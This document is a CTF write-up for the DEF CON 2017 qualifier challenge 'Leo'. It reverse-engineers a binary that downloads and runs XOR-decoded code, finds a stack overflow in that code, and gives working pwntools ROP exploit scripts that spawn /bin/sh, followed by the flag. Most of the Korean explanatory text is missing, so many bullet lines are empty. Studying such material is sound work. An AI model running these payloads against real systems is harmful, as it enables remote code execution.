



Leo es Pequeno[KR]

 Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

 Unknown macro: 'html'

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Infomation

Description

You boys like Mexico?!

leo_33e299c29ed3f0113f3955a4c6b08500.qualz.shallweplayaga.me:61111

Files

- <https://2017.notmalware.ru/87ad10c79fc38f7c977396ec5e97d8b911beb7d7/leo>

File

- [leo](#)
- [23fsf251110o121415](#)

Source Code

- <https://github.com/legitbs/quals-2017/tree/master/Leo>

Writeup

File information

```
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ file leo
leo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5fa0449905a79b55301d9ff35c76c83d01720f1f, stripped
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ checksec.sh --file leo
RELRO           STACK CANARY      NX            PIE            RPATH          RUNPATH        FILE
Partial RELRO   No canary found  NX enabled    No PIE          No RPATH       No RUNPATH     leo
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$
```

Binary analysis

Setting

- .
- **apache**
 - Kali linux apache .

Web server start

```
root@kali:~# service apache2 start
```

- **"23fsf251110o121415"**
 - .
 - VMware Drag&Drop .
 - Drag & Drop .

File upload

```
lazenca0x0@ubuntu:~# scp 23fsf251110o121415 root@192.168.239.156:/var/www/html/
```

- - Host .

Host file change

```
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ sudo -i
root@ubuntu:~# echo leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me >> /etc/hostname
root@ubuntu:~# echo "192.168.239.156 leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me" >> /etc/hosts
```

status check for web server.

```
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ wget http://leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me/23fsf251110o121415
--2017-06-14 23:54:06-- http://leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me/23fsf251110o121415
Resolving leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me)... 192.168.239.156
Connecting to leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.qual.sshallweplayaga.me)|192.168.239.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 110
Saving to: '23fsf251110o121415.1'

100%
[=====] 110 --.-K/s in 0s

2017-06-14 23:54:06 (25.4 MB/s) - '23fsf251110o121415.1' saved [110/110]

lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$
```

.init_array

- main() .init_array .
 - init() off_603DF8[] "0x4013CF" .

init()

```
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
    __int64 v3; // r13@1
    __int64 v4; // rbx@1
    signed __int64 v5; // rbp@1

    v3 = a3;
    v4 = 0LL;
    v5 = &off_603E08 - off_603DF8;
    init_proc();
    if ( v5 )
    {
        do
            ((void (__fastcall *)(_QWORD, __int64, __int64))off_603DF8[v4++])(a1, a2, v3);
        while ( v4 != v5 );
    }
}
```

- .
 - curl_easy_setopt() URL .
 - "http://leo_33e299c29ed3f0113f3955a4c6b08500.qualys.shallweplayaga.me/23fsf251110o121415"
 - CURLOPT_URL : 10002
 - CURLOPT_WRITEFUNCTION : 20011
 - CURLOPT_WRITEDATA : 10001
 - CURLOPT_USERAGENT : 10018
 - curl_easy_perform() () addr .
 - mprotect() addr , , .
 - addr xor .(Key: 0xAA)

Load file() - 0x4013CF

```
__int64 __fastcall sub_4013CF(__int64 a1, char **a2)
{
    char *v2; // rax@1
    size_t v3; // rsi@1
    char *moduleName; // rax@3
    __int64 v5; // rax@7
    size_t v6; // rsi@12
    __int64 v7; // rdi@18
    char errMsgMprotect[18]; // [rsp+10h] [rbp-170h]@1
    char errMsgModuleNotFound[17]; // [rsp+30h] [rbp-150h]@1
    char v12[68]; // [rsp+50h] [rbp-130h]@1
    __int64 v13; // [rsp+120h] [rbp-60h]@9
    int v14; // [rsp+12Ch] [rbp-54h]@9
    unsigned int v15; // [rsp+130h] [rbp-50h]@6
    int v16; // [rsp+134h] [rbp-4Ch]@6
    int v17; // [rsp+138h] [rbp-48h]@6
    int v18; // [rsp+13Ch] [rbp-44h]@6
    int v19; // [rsp+140h] [rbp-40h]@5
    int v20; // [rsp+144h] [rbp-3Ch]@4
    __int64 v21; // [rsp+148h] [rbp-38h]@3
    int (*v22)(const char *); // [rsp+150h] [rbp-30h]@1
    size_t alignment; // [rsp+158h] [rbp-28h]@1
    int v24; // [rsp+164h] [rbp-1Ch]@1
    int errorCode; // [rsp+168h] [rbp-18h]@1
    int i; // [rsp+16Ch] [rbp-14h]@15

    v24 = 0;
    errMsgModuleNotFound[0] = 'm';
    errMsgModuleNotFound[1] = 'o';
    errMsgModuleNotFound[2] = 'd';
```

```

errMsgModuleNotFound[3] = 'u';
errMsgModuleNotFound[4] = 'l';
errMsgModuleNotFound[5] = 'e';
errMsgModuleNotFound[6] = ' ';
errMsgModuleNotFound[7] = 'n';
errMsgModuleNotFound[8] = 'o';
errMsgModuleNotFound[9] = 't';
errMsgModuleNotFound[10] = ' ';
errMsgModuleNotFound[11] = 'f';
errMsgModuleNotFound[12] = 'o';
errMsgModuleNotFound[13] = 'u';
errMsgModuleNotFound[14] = 'n';
errMsgModuleNotFound[15] = 'd';
errMsgModuleNotFound[16] = '\\0';
errMsgMprotect[0] = 'm';
errMsgMprotect[1] = 'p';
errMsgMprotect[2] = 'r';
errMsgMprotect[3] = 'o';
errMsgMprotect[4] = 't';
errMsgMprotect[5] = 'e';
errMsgMprotect[6] = 'c';
errMsgMprotect[7] = 't';
errMsgMprotect[8] = '(';
errMsgMprotect[9] = ')';
errMsgMprotect[10] = ' ';
errMsgMprotect[11] = 'f';
errMsgMprotect[12] = 'a';
errMsgMprotect[13] = 'i';
errMsgMprotect[14] = 'l';
errMsgMprotect[15] = 'e';
errMsgMprotect[16] = 'd';
errMsgMprotect[17] = 0;
strcpy(v12, "http://leo_33e299c29ed3f0113f3955a4c6b08500.qualys.shallweplayaga.me/");
errCode = 0x58C3;
v2 = __xpg_basename(*a2);
openlog(v2, 8, 8);
alignment = sysconf(30);
v22 = system;
v3 = alignment;
errCode = posix_memalign(&addr, alignment, 2 * alignment);
if ( errCode )
    exit(-1);
len = 2 * alignment;
qword_6041A0 = 0LL;
curl_global_init(3LL, v3);
v21 = curl_easy_init(3LL);
moduleName = &v12[strlen(v12)];
*(_QWORD *)moduleName = '152fsf32';
*(_QWORD *)moduleName + 1 = '4121o011';
*(_WORD *)moduleName + 8 = '51';
moduleName[18] = 0;
if ( v24 )
{
    v19 = 10002;
    curl_easy_setopt(v21, 10002LL, a2[v24]);    // CURLOPT_URL
}
else
{
    v20 = 10002;
    curl_easy_setopt(v21, 10002LL, v12);
}
v18 = 20011;
curl_easy_setopt(v21, 20011LL, contentCopyToHeap); // CURLOPT_WRITEFUNCTION
v17 = 10001;
curl_easy_setopt(v21, 10001LL, &addr);    // CURLOPT_WRITEDATA
v16 = 10018;
curl_easy_setopt(v21, 10018LL, "libcurl-agent/1.0"); // CURLOPT_USERAGENT
v15 = curl_easy_perform(v21);
if ( v15 )
{
    v5 = curl_easy_strerror(v15);

```

```

    syslog(3, "curl_easy_perform() failed: %s", v5, a2);
    exit(-1);
}
v14 = 2097154;
curl_easy_getinfo(v21, 2097154LL, &v13);
if ( v13 == 404 )
{
    syslog(3, errMsgModuleNotFound, a2);
    exit(-1);
}
v6 = len;
errCode = mprotect(addr, len, 7);
if ( errCode )
{
    syslog(3, errMsgMprotect, a2);
    exit(-1);
}
for ( i = 0; i < len; ++i )
    *((_BYTE *)addr + i) ^= 0xAA;
v7 = v21;
curl_easy_cleanup(v21, v6);
return curl_global_cleanup(v7);
}

```

Main()

- .
 - read() 16000 .
 - checkZero(), checkDataSize() buffer data .
 - getData() , if() .
 - .
 - if() : 49, 50, 100, 2, 25
 - ".init_array" addr .

```

unsigned int __fastcall main(signed int argc, char **option, char **a3)
{
    signed int data; // eax@33 MAPDST
    char url[80]; // [rsp+10h] [rbp-3F70h]@1
    char welcomeMSG[112]; // [rsp+60h] [rbp-3F20h]@20
    char buffer[16000]; // [rsp+D0h] [rbp-3EB0h]@23
    __int64 functionCall; // [rsp+3F58h] [rbp-28h]@29
    __int64 len; // [rsp+3F60h] [rbp-20h]@23
    int v10; // [rsp+3F6Ch] [rbp-14h]@17
    int i; // [rsp+3F74h] [rbp-Ch]@4
    __int64 readedSize; // [rsp+3F78h] [rbp-8h]@23

    data = 0;
    strcpy(url, "http://leo_33e299c29ed3f0113f3955a4c6b08500.qualys.shallweplayaga.me/");
    openlog(*option, 8, 8);
    src = url;
    if ( argc > 2 )
    {
        if ( argc != 3 && argc != 5 )
        {
            syslog(3, "Bad command line.", option);
            exit(-1);
        }
        for ( i = 1; argc - 1 > i; ++i )
        {
            if ( !strcmp(option[i], "-u") && argc - 1 != i )
                src = option[i + 1LL];
            if ( !strcmp(option[i], "-D") && argc - 1 != i )
            {
                puts(option[i + 1LL]);
                path = option[i + 1LL];
            }
        }
    }
    if ( path )

```

```

{
    v10 = chdir(path);
    if ( v10 == -1 )
    {
        syslog(3, "Error setting working directory", option);
        exit(-1);
    }
}
if ( (unsigned int)readWelcomMSG(welcomeMSG, 100) )
{
    puts("\nNo welcome message or hint text found.  You are on your own, Bucko.\n");
    fflush(stdout);
}
else
{
    puts(welcomeMSG);
}
memset(buffer, 0, 16000uLL);
len = 0LL;
readedSize = 0LL;
do
{
    len = read(0, &buffer[readedSize], 16000 - readedSize);
    if ( len == -1 )
    {
        syslog(3, "Error reading from STDIN...exiting", option);
        exit(-1);
    }
    if ( !len )
        break;
    readedSize += len;
}
while ( readedSize != 16000 );
functionCall = (__int64)checkZero;
if ( (unsigned int)checkZero(buffer, readedSize) == -1 )
{
    puts("There appears to be no data.... did you send some?");
    fflush(stdout);
    return 0;
}
functionCall = (__int64)checkDataSize;
if ( (unsigned int)checkDataSize(buffer, readedSize) == -1 )
{
    puts("I need more data to analyze.");
    fflush(stdout);
    return 0;
}
functionCall = (__int64)getData;
data = getData(buffer, readedSize);
if ( data == 49 )
{
    puts("This is ASCII text.");
    fflush(stdout);
    functionCall = (__int64)sub_401C3B;
    sub_401C3B(buffer, readedSize);
}
else if ( data > 49 )
{
    if ( data == 50 )
    {
        puts("This is ASCII data.");
        fflush(stdout);
        functionCall = (__int64)checkDataSize;
        checkDataSize(buffer, readedSize);
    }
    else
    {
        if ( data != 100 )
        {
LABEL_46:
            puts("This doesn't match my patterns.  Checking...");

```

```

        fflush(stdout);
        functionCall = (__int64)addr;
        ((void (__fastcall *)(char *, _QWORD))addr)(buffer, (unsigned int)readedSize);
        goto LABEL_47;
    }
    puts("Its an executable? Let's see what 'file' says...");
    fflush(stdout);
    functionCall = (__int64)fileTest;
    fileTest(buffer, readedSize);
}
}
else
{
    if ( data == 2 )
    {
        puts("Data appears to be encrypted or very random. Further tests aborted.");
        fflush(stdout);
        return 2;
    }
    if ( data != 25 )
        goto LABEL_46;
    puts("I guess its binary data. Let's see what 'file' says...");
    fflush(stdout);
    functionCall = (__int64)fileTest;
    fileTest(buffer, readedSize);
}
LABEL_47:
    closelog();
    fflush(stdout);
    return sleep(1u);
}

```

getData()

- .
 - for() tmp[1] .
 - for() buffer[i] tmp[1] .
 - tmp[buffer[i]][1] 1 .
 - Ex) buffer[1] 3 "++tmp[1][1]" 1 .
 - for() tmp[i][1] maxValOne, minValOne .
 - sumVal tmp[i][1] ">> 8" .
 - reSort() .
 - for() tmp[i][1] '0' minValZero, maxValZero .
 - zeroCount tmp[i][1] '0' .
 - if() .
 - : 2, 100, 22, 25, 49, 50
 - main() 22 .
 - , addr .

```

signed __int64 __fastcall getData(char *buffer, int size)
{
    signed __int64 result; // rax@25
    unsigned int tmp[256][2]; // [rsp+10h] [rbp-820h]@2
    unsigned int maxValZero; // [rsp+814h] [rbp-1Ch]@1
    unsigned int minValZero; // [rsp+818h] [rbp-18h]@1
    unsigned int zeroCount; // [rsp+81Ch] [rbp-14h]@1
    unsigned int sumVal; // [rsp+820h] [rbp-10h]@1
    unsigned int minValOne; // [rsp+824h] [rbp-Ch]@1
    unsigned int maxValOne; // [rsp+828h] [rbp-8h]@1
    int i; // [rsp+82Ch] [rbp-4h]@1

    maxValOne = 0;
    minValOne = 0xFFFFFFFF;
    sumVal = 0;
    zeroCount = 0;
    minValZero = 0x1FF;
    maxValZero = 0;
    for ( i = 0; i <= 255; ++i )
    {
        tmp[i][0] = i;
    }
}

```

```

    tmp[i][1] = 0;
}
for ( i = 0; i < size; ++i )
    ++tmp[(unsigned __int8)buffer[i]][1];
for ( i = 0; i <= 255; ++i )
{
    if ( tmp[i][1] > maxValOne )
        maxValOne = tmp[i][1];
    if ( tmp[i][1] < minValOne )
        minValOne = tmp[i][1];
    sumVal += tmp[i][1];
}
sumVal >= 8;
reSort((bins *)tmp, 256);
for ( i = 0; i <= 255; ++i )
{
    if ( tmp[i][1] )
    {
        if ( tmp[i][0] < minValZero )
            minValZero = tmp[i][0];
        if ( tmp[i][0] > maxValZero )
            maxValZero = tmp[i][0];
    }
    else
    {
        ++zeroCount;
    }
}
if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
    return 2LL;
if ( maxValZero > 0x7F || minValZero <= 8 )
{
    if ( minValOne && 10 * sumVal < maxValOne )
    {
        result = 100LL;
    }
    else if ( minValOne || 2 * sumVal >= maxValOne )
    {
        result = 22LL;
    }
    else
    {
        result = 25LL;
    }
}
else if ( tmp[255][0] == 32 )
{
    result = 49LL;
}
else
{
    result = 50LL;
}
return result;
}

```

reSort()

- .
 - for() 'tmps[j][1]' 'tmps[j + 1][1]' , 'tmps[j][0,1]' 'tmps[j + 1][0,1]' .


```

__int64 __fastcall reSort(bins *tmp, int size256)
{
    unsigned int valueZero; // ST14_4@4
    unsigned int valueOne; // ST10_4@4
    __int64 result; // rax@8
    int j; // [rsp+14h] [rbp-8h]@2
    signed int i; // [rsp+18h] [rbp-4h]@1

    for ( i = 0; ; ++i )
    {
        result = (unsigned int)(size256 - 1);
        if ( (signed int)result <= i )
            break;
        for ( j = 0; size256 - i - 1 > j; ++j )
        {
            if ( tmp->tmps[j][1] > tmp->tmps[j + 1][1] )
            {
                valueZero = tmp->tmps[j + 1LL][0];
                valueOne = tmp->tmps[j + 1][1];
                tmp->tmps[j + 1LL][0] = tmp->tmps[j][0];
                tmp->tmps[j + 1][1] = tmp->tmps[j][1];
                tmp->tmps[j][0] = valueZero;
                tmp->tmps[j][1] = valueOne;
            }
        }
    }
    return result;
}

```

addr()

- addr .
 - getData() 22 .

set \$eax = 22

```

gdb-peda$ b *0x402079
Breakpoint 1 at 0x402079
gdb-peda$ c
Continuing.

Breakpoint 1, 0x0000000000402079 in ?? ()
gdb-peda$ i r eax
eax                0x32                0x32
gdb-peda$ p/d 0x32
$1 = 50
gdb-peda$ set $eax = 22
gdb-peda$ i r eax
eax                0x16                0x16
gdb-peda$ p/d 0x16
$2 = 22
gdb-peda$

```

- GDB Heap .

Assembly code - addr()

```
gdb-peda$ b *0x4021FE
Breakpoint 2 at 0x4021fe
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax                0x971000          0x971000
gdb-peda$

gdb-peda$ x/40i 0x971000
0x971000:      push    rbp
0x971001:      mov     rbp, rsp
0x971004:      mov     QWORD PTR [rbp-0x28], rdi
0x971008:      mov     DWORD PTR [rbp-0x2c], esi
0x97100b:      mov     eax, DWORD PTR [rbp-0x2c]
0x97100e:      mov     edx, eax
0x971010:      shr     edx, 0x1f
0x971013:      add     eax, edx
0x971015:      sar     eax, 1
0x971017:      add     eax, 0x1
0x97101a:      mov     DWORD PTR [rbp-0x8], eax
0x97101d:      mov     DWORD PTR [rbp-0x4], 0x11
0x971024:      mov     DWORD PTR [rbp-0x4], 0x0
0x97102b:      jmp     0x971060
0x97102d:      mov     eax, DWORD PTR [rbp-0x2c]
0x971030:      mov     edx, eax
0x971032:      shr     edx, 0x1f
0x971035:      add     eax, edx
0x971037:      sar     eax, 1
0x971039:      add     eax, 0x1
0x97103c:      cmp     eax, DWORD PTR [rbp-0x8]
0x97103f:      jne     0x97106b
0x971041:      mov     eax, DWORD PTR [rbp-0x4]
0x971044:      movsxd  rdx, eax
0x971047:      mov     rax, QWORD PTR [rbp-0x28]
0x97104b:      add     rax, rdx
0x97104e:      movzx   eax, BYTE PTR [rax]
0x971051:      mov     edx, eax
0x971053:      mov     eax, DWORD PTR [rbp-0x4]
0x971056:      cdq     eax
0x971058:      mov     BYTE PTR [rbp+rax*1-0x20], dl
0x97105c:      add     DWORD PTR [rbp-0x4], 0x1
0x971060:      mov     eax, DWORD PTR [rbp-0x4]
0x971063:      cmp     eax, DWORD PTR [rbp-0x2c]
0x971066:      jle     0x97102d
0x971068:      nop
0x971069:      jmp     0x97106c
0x97106b:      nop
0x97106c:      pop     rbp
0x97106d:      ret
gdb-peda$
```

- .
- .
 - for() 'stackOverflow[]' '*buffer' .
 - .
 - stackOverflow 24byte .
 - Return address .
 - .
 - i, half buffer .
 - if() .

addr()

```
__int64 __fastcall sub_15F6000(char *buffer, signed int readSize)
{
    __int64 result; // rax@2
    char stackOverflow[24]; // [rsp+Ch] [rbp-20h]@3
    int half; // [rsp+24h] [rbp-8h]@1
    int i; // [rsp+28h] [rbp-4h]@1

    half = readSize / 2 + 1;
    for ( i = 0; ; ++i )
    {
        result = (unsigned int)i;
        if ( i >= readSize )
            break;
        result = (unsigned int)(readSize / 2 + 1);
        if ( (_DWORD)result != half )
            break;
        stackOverflow[i] = buffer[i];
    }
    return result;
}
```

- Stack Overflow .
 - i, half int 4byte .
 - $\text{half}(0x1f41) = 16000 / 2 + 1$
 - $i(0x1d) = 24(\text{stackOverflow size}) + 4(\text{half size}) + 1$

```
from pwn import *

p = process('./leo')

data = 'AAAAAAAA' * 3
data += p32(0x1f41)
data += p32(0x1d)
data += 'BBBBBBBB'
data += 'CCCCCCCC'
data += 'D' * (16000 - len(data))

sleep(20)
p.send(data)
p.interactive()
```

Stack overflow

- Segmentation fault .

```

Breakpoint 2, 0x0000000004021fe in ?? ()
gdb-peda$ i r rax
rax          0x1797000          0x1797000
gdb-peda$ b *0x1797000
Breakpoint 3 at 0x1797000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000000001797000 in ?? ()
gdb-peda$ x/40i $rip
=> 0x1797000:      push    rbp
    0x1797001:      mov     rbp, rsp
    ...
    0x179706b:      nop
    0x179706c:      pop     rbp
    0x179706d:      ret
gdb-peda$ b *0x179706d
Breakpoint 4 at 0x179706d
gdb-peda$ c
Continuing.
0x000000000179706d in ?? ()
gdb-peda$ i r rsp
rsp          0x7ffe58bf5cd8      0x7ffe58bf5cd8
gdb-peda$ x/4gx 0x7ffe58bf5cd8
0x7ffe58bf5cd8:      0x4343434343434343      0x4444444444444444
0x7ffe58bf5ce8:      0x4444444444444444      0x4444444444444444
gdb-peda$ ni

Program received signal SIGSEGV, Segmentation fault.

```

Structure of Exploit code

- `getData()` 22 `addr()`
- `addr()` Return address ROP
 - `read(0, bss, size)`
 - `system(bss)`

- The following information is required for an attack:

- `getData()` '22' Data
- ROP Gadget

Information for attack

ROP Gadget

- Gadget .

ropsearch 'pop rdi'

```

gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00402703 : (b'5fc3')      pop rdi; ret
gdb-peda$

```

- 'pop rsi' Gadget 'pop r15' .

```
gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00402701 : (b'5e415fc3')      pop rsi; pop r15; ret
gdb-peda$
```

- 'pop rdx' Gadget .

```
gdb-peda$ ropsearch 'pop rdx'
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$
```

- 'pop rdx' Gadget .
 - 'ret' 'rdx' buffer 'D(0x44)' .
 - , 'pop rdx' Gadget .
 - buffer 0x7 ..

```
Breakpoint 2, 0x0000000004021fe in ?? ()
gdb-peda$ i r rax
rax      0x95b000      0x95b000
gdb-peda$ b *0x95b000
Breakpoint 3 at 0x95b000
gdb-peda$ c
Continuing.
```

```
Breakpoint 3, 0x00000000095b000 in ?? ()
gdb-peda$ x/40i 0x95b000
=> 0x95b000:      push    rbp
    0x95b001:      mov     rbp, rsp
    ...
    0x95b068:      nop
    0x95b069:      jmp     0x95b06c
    0x95b06b:      nop
    0x95b06c:      pop     rbp
    0x95b06d:      ret
gdb-peda$ b *0x95b06d
Breakpoint 4 at 0x95b06d
gdb-peda$ c
Continuing.
Breakpoint 4, 0x00000000095b06d in ?? ()
gdb-peda$ i r rdx
rdx      0x44      0x44
gdb-peda$
```

Get 22 from getData() function

- POC .

```

from pwn import *

FILEPATH = './leo'

rdi = 0x00402703
rsi = 0x00402701

elf = ELF(FILEPATH)
p = process(FILEPATH)

data = 'AAAAAAAA' * 3
data += p32(0x1f41)      # half
data += p32(0x1d)        # i
data += p64(0)

#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])

#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])

data += 'D' * (16000 - len(data))

sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()

```

- if() zeroCount 4 .
- , if() 'minValOne', 'minValZero' zeroCount 0 .
- if() "2 * sumVal >= maxValOne" (True) .
 - (True) .
 - sumVal 0x3e(62) .
 - , maxValOne 127 (True) .
 - (16000(buffer size) >> 8) * 2= 0x7c(124)

```

...
if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
    return 2LL;
if ( maxValZero > 127 || minValZero <= 8 )
{
    if ( minValOne && 10 * sumVal < maxValOne )
    {
        result = 100LL;
    }
    else if ( minValOne || 2 * sumVal >= maxValOne )
    {
        result = 22LL;
    }
    else
    {
...

```

- Data .

```

for i in range(0,255):
    if len(data) < 16000:
        valCnt = data.count(chr(i))
        if valCnt > 124:
            log.info("Warring!")
    elif valCnt < 124:
        if 16000 - len(data) > 124 - valCnt:
            data += chr(i) * (124 - valCnt)
        else:
            data += chr(i) * (16000 - len(data))

```

Exploit Code

Exploit code

```

from pwn import *

FILEPATH = './leo'

rdi = 0x00402703
rsi = 0x00402701

elf = ELF(FILEPATH)
p = process(FILEPATH)

data = ''
for i in range(0,24):
    data += chr(i)

data += p32(0x1f41)    # half
data += p32(0x1d)     # i
data += p64(0)

#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])

#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])

print str(len(data))

for i in range(0,255):
    if len(data) < 16000:
        valCnt = data.count(chr(i))
        if valCnt > 124:
            log.info("Warring!")
    elif valCnt < 124:
        if 16000 - len(data) > 124 - valCnt:
            data += chr(i) * (124 - valCnt)
        else:
            data += chr(i) * (16000 - len(data))

sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()


```

Flag

| | |
|------|----------------------------------|
| Flag | 2c641a4386ec64280ca77d1beae6d372 |
|------|----------------------------------|

Related Site

- N / a

 Unknown macro: 'html'